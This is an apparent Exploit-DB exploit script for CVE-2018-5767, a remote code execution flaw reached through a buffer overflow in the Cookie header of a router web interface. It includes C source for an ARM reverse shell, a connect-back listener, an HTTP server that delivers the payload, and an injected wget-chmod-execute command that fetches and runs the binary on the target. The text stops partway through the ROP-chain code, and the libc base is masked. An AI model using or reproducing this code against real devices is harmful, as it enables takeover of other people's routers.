#!/usr/bin/env python # EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/ import urllib2 import struct import time import socket from optparse import * import SimpleHTTPServer import SocketServer import threading import sys import os import subprocess ARM_REV_SHELL = ( "#include \n" "#include \n" "#include \n" "#include \n" "#include \n" "int main(int argc, char **argv)\n" "{\n" " struct sockaddr_in addr;\n" " socklen_t addrlen;\n" " int sock = socket(AF_INET, SOCK_STREAM, 0);\n" " memset(&addr, 0x00, sizeof(addr));\n" " addr.sin_family = AF_INET;\n" " addr.sin_port = htons(%d);\n" " addr.sin_addr.s_addr = inet_addr(\"%s\");\n" " int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n" " dup2(sock, 0);\n" " dup2(sock, 1);\n" " dup2(sock, 2);\n" " system(\"/bin/sh\");\n" "}\n" ) REV_PORT = 31337 HTTPD_PORT = 8888 DONE = False """ * This function creates a listening socket on port * REV_PORT. When a connection is accepted it updates * the global DONE flag to indicate successful exploitation. * It then jumps into a loop whereby the user can send remote * commands to the device, interacting with a spawned /bin/sh * process. """ def threaded_listener(): global DONE s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) host = ("0.0.0.0", REV_PORT) try: s.bind(host) except: print "[+] Error binding to %d" %REV_PORT return -1 print "[+] Connect back listener running on port %d" %REV_PORT s.listen(1) conn, host = s.accept() #We got a connection, lets make the exploit thread aware DONE = True print "[+] Got connect back from %s" %host[0] print "[+] Entering command loop, enter exit to quit" #Loop continuosly, simple reverse shell interface. while True: print "#", cmd = raw_input() if cmd == "exit": break if cmd == '': continue conn.send(cmd + "\n") print conn.recv(4096) """ * Take the ARM_REV_SHELL code and modify it with * the given ip and port to connect back to. * This function then compiles the code into an * ARM binary. @Param comp_path – This should be the path of the cross-compiler. @Param my_ip – The IP address of the system running this code. """ def compile_shell(comp_path, my_ip): global ARM_REV_SHELL outfile = open("a.c", "w") ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip) outfile.write(ARM_REV_SHELL) outfile.close() compile_cmd = [comp_path, "a.c","-o", "a"] s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) while s.poll() == None: continue if s.returncode == 0: return True else: print "[x] Error compiling code, check compiler? Read the README?" return False """ * This function uses the SimpleHTTPServer module to create * a http server that will serve our malicious binary. * This function is called as a thread, as a daemon process. """ def start_http_server(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", HTTPD_PORT), Handler) print "[+] Http server started on port %d" %HTTPD_PORT httpd.serve_forever() """ * This function presents the actual vulnerability exploited. * The Cookie header has a password field that is vulnerable to * a sscanf buffer overflow, we make use of 2 ROP gadgets to * bypass DEP/NX, and can brute force ASLR due to a watchdog * process restarting any processes that crash. * This function will continually make malicious requests to the * devices web interface until the DONE flag is set to True. @Param host – the ip address of the target. @Param port – the port the webserver is running on. @Param my_ip – The ip address of the attacking system. """ def exploit(host, port, my_ip): global DONE url = "http://%s:%s/goform/exeCommand"%(host, port) i = 0 command = "wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;" %(my_ip, HTTPD_PORT) #Guess the same libc base continuosly libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack("